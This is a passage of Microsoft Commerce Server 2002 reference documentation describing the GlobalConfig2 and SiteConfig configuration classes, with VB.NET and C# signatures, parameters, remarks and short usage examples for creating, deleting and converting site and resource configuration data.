A string that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A string that contains the resource configuration schema class name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

The following table contains a list of schema classes for this method.

Administration Database Class Name | Resource Name
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_DataWarehouse_Group | Global Data Warehouse
MSCS_BizDataStore | Profiles
[Visual Basic .NET]

Example

' sMyPredictor is a String denoting the new resource name
' MSCS_Predictor is a String denoting the database class name
' oGlobalConfig is a Commerce GlobalConfig2 object
oGlobalConfig.CreateServiceConfig(sMyPredictor, MSCS_Predictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.DeleteServiceConfig


GlobalConfig2.CreateSiteConfig Method (PIA)

Use this method to create a site using the name specified in the bstrSiteName parameter. This method calls the SaveConfig method. This method is used primarily from Commerce Server Manager or by Commerce Server Site Packager. The correct ACLs are set on the entries in the Internet Information Services (IIS) metabase by Site Packager, to ensure that only site administrators can perform operations on the Admin objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function CreateSiteConfig(
  bstrSiteName As String
) As ISiteConfig
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public ISiteConfig CreateSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the new site name.
[C#]
bstrSiteName
A string that contains the new site name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the ISiteConfig interface that contains the site configuration settings.

[C#] This method returns a Microsoft.CommerceServer.Interop.Configuration.ISiteConfig interface for a SiteConfig object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyNewSite is a string; oGlobalConfig is a Commerce GlobalConfig2 object
' oMSCSSiteConfig is a Commerce SiteConfig object
oMSCSSiteConfig = oGlobalConfig.CreateSiteConfig(sMyNewSite)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.DeleteSiteConfig


GlobalConfig2.DeleteServiceConfig Method (PIA)

Use this method to delete the specified resource, and to delete the Administration database association that links this resource to the site instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteServiceConfig(
  bstrServiceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteServiceConfig(
  string bstrServiceName
);

Parameters

[Visual Basic .NET]
bstrServiceName
A String that contains the name of the resource configuration object to be deleted.
[C#]
bstrServiceName
A string that contains the name of the resource configuration to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMyPredictor is the name of an existing resource
' oGlobalConfig is a Commerce GlobalConfig2 object
oGlobalConfig.DeleteServiceConfig (sMyPredictor)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.CreateServiceConfig


GlobalConfig2.DeleteSiteConfig Method (PIA)

Use this method to delete a site configuration object instance for the current site from the Administration database. This method is primarily used by Commerce Server Manager or by Commerce Server Site Packager.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteSiteConfig(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteSiteConfig(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' sMySiteName is an existing site name
' oGlobalConfig is a Commerce GlobalConfig2 object
oGlobalConfig.DeleteSiteConfig(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class

GlobalConfig2.CreateServiceConfig


GlobalConfig2.GetGlobalResources Method (PIA)

Use this method to retrieve a list of all the names of the resources from the Resources table in the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetGlobalResources(
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public _Recordset GetIfCollection(
);

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

[C#] This method returns a _Recordset object. Each Field object in the recordset includes the name of a resource in the Resources table in the Administration database.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into appropriate objects such as a SimpleList object or a System.Array. If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array, then a System.Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oGlobalConfig is a Commerce GlobalConfig2 object
oObject = oGlobalConfig.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.GetRefSites (PIA)

Use this method to retrieve a list of all the site names that reference the given resource from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib    ‘ for _Recordset
…
Public Function GetRefSites(
  strDisplayName As String,
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For _Recordset
…
public _Recordset GetRefSites(
  string strDisplayName,
);

Parameters

[Visual Basic .NET]
strDisplayName
A String that contains the display name of the global resource.
[C#]
strDisplayName
A string that contains the display name of the global resource.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object. Each field in the recordset includes the name of one of the sites that references the given resource.

[C#] This method returns a Recordset object. Each field in the recordset includes the name of one of the sites that references the given resource.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.GetResourcePropAttrib Method (PIA)

Use this method to get a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
…
Public Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using Microsoft.CommerceServer.Interop;             //For IDictionary
…
public IDictionary GetResourcePropAttrib(
  string strResourceName,
  string strPropName
);

Parameters

[Visual Basic .NET]
strResourceName
A String that contains the resource name.
strPropName
A String that contains the resource property name.
[C#]
strResourceName
A string that contains the resource name.
strPropName
A string that contains the resource property name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to an object that implements the IDictionary interface containing the key/value pairs that denote the attributes of the specified property of the specified resource.

[C#] This method returns an IDictionary interface to a Dictionary object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oGlobalConfig is a Commerce GlobalConfig2 object
dDict = _
oGlobalConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.Initialize Method (PIA)

Use this method to load the global configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  Optional bstrGroupName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void Initialize(
  string bstrGroupName
);

Parameters

[Visual Basic .NET]
bstrGroupName
A String reserved for future use. This method ignores the value placed in this parameter.
[C#]
bstrGroupName
A string reserved for future use. This method ignores the value placed in this parameter.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeArrayFromSimpleList Method (PIA)

Use this method to convert the specified SimpleList object into a System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
An object reference to the SimpleList that you want to convert into a System.Array.
[C#]
list
A SimpleList object that you want to convert into a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array.

[C#] This method returns the converted System.Array.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig2 object
oMyObject = oGlobalConfig.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array. If the encoded string does not indicate System.Array properties, then the method returns the original String that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the converted System.Array or unconverted String.

[C#] This method returns an object containing the converted System.Array or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can be used only on values exposed by the ADODB26Lib.Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string read from the Fields
' property
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig2 object
oArray = oGlobalConfig.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to convert.
[C#]
varArray
An object that contains the System.Array to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' pMyArray is an Object
' varMySimpleList is a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig2 object
varMySimpleList = oGlobalConfig.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to encode.
[C#]
varArray
An object that contains the System.Array to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded string.

[C#] This method returns an object containing the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can be used only when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oGlobalConfig is a Commerce GlobalConfig2 object
oEncoded = oGlobalConfig.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded string.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can be used only when updating values exposed by the ADODB26Lib.Fields object. The client-side disconnected ADO recordset has no support for Arrays, SimpleLists, or Objects as fields columns. Therefore, the GlobalConfig2 object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is an object reference to a SimpleList object
' oGlobalConfig is a Commerce GlobalConfig2 object
vEncoded = oGlobalConfig.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.SaveConfig Method (PIA)

Use this method to save the global configuration settings to the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub SaveConfig()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void SaveConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2.Sites Method (PIA)

[Visual Basic .NET] Use this method to retrieve a list of all the sites available in the Administration database. This method returns an object that implements the _Recordset interface that contains a single record; the number of fields in the Fields collection is equal to the number of sites in the Commerce Server 2002 installation. Each Fields collection contains the name of one of the sites.

[C#] Use this method to retrieve a list of all the sites available in the Administration database. This method returns an ADODB26Lib._Recordset object that contains a single record; the number of fields in the Fields collection is equal to the number of sites in the Microsoft Commerce Server 2002 installation. Each Fields collection contains the name of one of the sites.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib    ‘ for _Recordset
…
Public Function Sites() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For _Recordset
…
public _Recordset Sites();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the _Recordset interface that contains a list of all the sites available in the Administration data store.

[C#] This method returns an object that implements the ADODB26Lib._Recordset interface to a Recordset containing a list of all sites available in the Administration data store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

[Visual Basic .NET] The Initialize method must be called before this method can be called.

[C#] The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


GlobalConfig2 Properties (PIA)

Properties

Property | Type | Description
Fields | Object | Returns group-level configuration data. This property is read-only.


GlobalConfig2.Fields Property (PIA)

The Fields property is a read-only Fields object. The Fields property contents include recordsets that hold the configuration settings of resources. A Fields object is an ADODB26Lib.Fields object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                                   //For Fields
…
public Fields Fields {get; }
[C#]

Property Value

This property returns a collection of ADODB26Lib.Fields objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be called.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: CS_MSCSCfg (in cs_mscscfg.dll)

See Also

GlobalConfig2 Class


SiteConfig Class (PIA)

Use this object to accomplish the following:

  • Create or delete site configuration information
  • Save any updated site configuration information to the Administration database
  • Load site configuration information from the Administration database
  • Import resource configuration data to a site and export resource configuration data from a site

Methods

Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration fields, some of which hold configuration settings of resources.

Remarks

Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

Configuration Objects

Integrating Custom Resources

GlobalConfig Class

SiteConfigReadOnly Class


SiteConfig Methods (PIA)

Methods

Method | Description
AddRefToGroupComponent | Adds a reference to a global resource so that a site can access that resource.
CreateComponentConfig | Creates and writes configuration information for the specified resource to the Administration database.
DeleteComponentConfig | Deletes configuration information for the specified resource.
DeleteSQLScript | Deletes the specified SQL script file from the Administration database.
ExportResource | Writes the specified resource, resource properties, and attributes to the specified file.
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
GetResourcePropAttrib | Gets a dictionary of key/value pairs that denote the attributes of the specified property of the specified resource.
GetSQLScript | Gets the specified SQL script file from the Administration database.
ImportResource | Reads the specified resource, resource properties, and attributes from the specified file, and writes them to the Commerce Server 2002 database.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string that can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string that can be written to the Fields property.
PutSQLScript | Puts the specified SQL script file into the Administration database.
SaveConfig | Saves the site configuration settings to the Administration database.


SiteConfig.AddRefToGroupComponent Method (PIA)

Use this method to add a reference to a global resource so that a site can access that resource. If you use this method to create a global resource, in order to read the correct property values, use the SiteConfigReadOnly object methods. To set the correct property values, use the GlobalConfig object on the global resource that is referenced by this site-level resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub AddRefToGroupComponent(
  bstrSiteResourceName As String,
  bstrGroupResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void AddRefToGroupComponent(
  string bstrSiteResourceName,
  string bstrGroupResourceName
);

Parameters

[Visual Basic .NET]
bstrSiteResourceName
A String that contains the name of the resource configuration object to be added to the site.
bstrGroupResourceName
A String that contains the name of the global resource configuration object to which a reference is being added.
[C#]
bstrSiteResourceName
A string that contains the name of the resource configuration object to be added to the site.
bstrGroupResourceName
A string that contains the name of the global resource configuration object to which a reference is being added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

If you use this method to create a global resource, use the SiteConfigReadOnly object methods to read the correct property values. Use the GlobalConfig object on the global resource that is referenced by this site-level resource to set the correct property values.

[Visual Basic .NET]

Example

' sSiteResName and sGlob are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.AddRefToGroupComponent(sSiteResName,sGlob)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.CreateComponentConfig Method (PIA)

Use this method to create an instance of a configuration schema class, and load it into the site recordset.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub CreateComponentConfig(
  bstrResourceName As String,
  bstrConfigSchemaClass As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void CreateComponentConfig(
  string bstrResourceName,
  string bstrConfigSchemaClass
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A String that contains the resource configuration schema class name.
[C#]
bstrResourceName
A string that contains the new name for the resource configuration object instance.
bstrConfigSchemaClass
A string that contains the resource configuration schema class name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method creates an instance of the class specified in the bstrConfigSchemaClass parameter, and sets the Name property of the instance to the name specified in the bstrConfigComponentName parameter. It loads the instance into the site recordset.

This method calls the SaveConfig method.

The following table contains a list of schema classes for this method.

Admininstration Database Class Name | Resource Name
MSCS_Catalog | Product Catalog
MSCS_AppConfigDefault | App Default Config
MSCS_TransactionConfig | Transaction Config
MSCS_Transactions | Transactions
MSCS_Content | (No longer used)
MSCS_Campaigns | Campaigns
MSCS_AuthManager | Site CS Authentication
MSCS_DirectMailer | Direct Mailer
MSCS_Predictor | Predictor
MSCS_Predictor_Site | (No longer used)
MSCS_Datawarehouse_Group | Global Data Warehouse
MSCS_Datawarehouse_Site | Site Data Warehouse
MSCS_BizDataStore | Profiles Resource
MSCS_Address | IIS Applications (such as Retail, RetailBizDesk)
MSCS_UPMDtsTask | Profiling System DTS Task Information
[Visual Basic .NET]

Example

' sMyCatalog is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.CreateComponentConfig(sMyCatalog, MSCS_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class

SiteConfig.DeleteComponentConfig


SiteConfig.DeleteComponentConfig Method (PIA)

Use this method to delete the Administration database information for the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteComponentConfig(
  bstrResourceName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteComponentConfig(
  string bstrResourceName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the name of the resource configuration object to be deleted.
[C#]
bstrResourceName
A string that contains the name of the resource associated with the Administration database information to delete.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This delete does not remove any resource-specific data other than the configuration information. For instance, deleting the Product Catalog resource will not remove the Product Catalog tables from the database, only the configuration information.

[Visual Basic .NET]

Example

' sMyResource is the name of an existing resource
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.DeleteComponentConfig (sMyResource)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class

SiteConfig.CreateComponentConfig


SiteConfig.DeleteSQLScript Method (PIA)

Use this method to delete the specified SQL script file from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub DeleteSQLScript(
  sResource As String,
  sScriptName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void DeleteSQLScript(
  string sResource,
  string sScriptName
);

Parameters

[Visual Basic .NET]
sResource
A String that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sScriptName
A String that contains the name of the SQL script file to delete.
[C#]
sResource
A string that contains the name of the resource that is associated with the SQL script file that is to be deleted.
sScriptName
A string that contains the name of the SQL script file to delete.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.ExportResource Method (PIA)

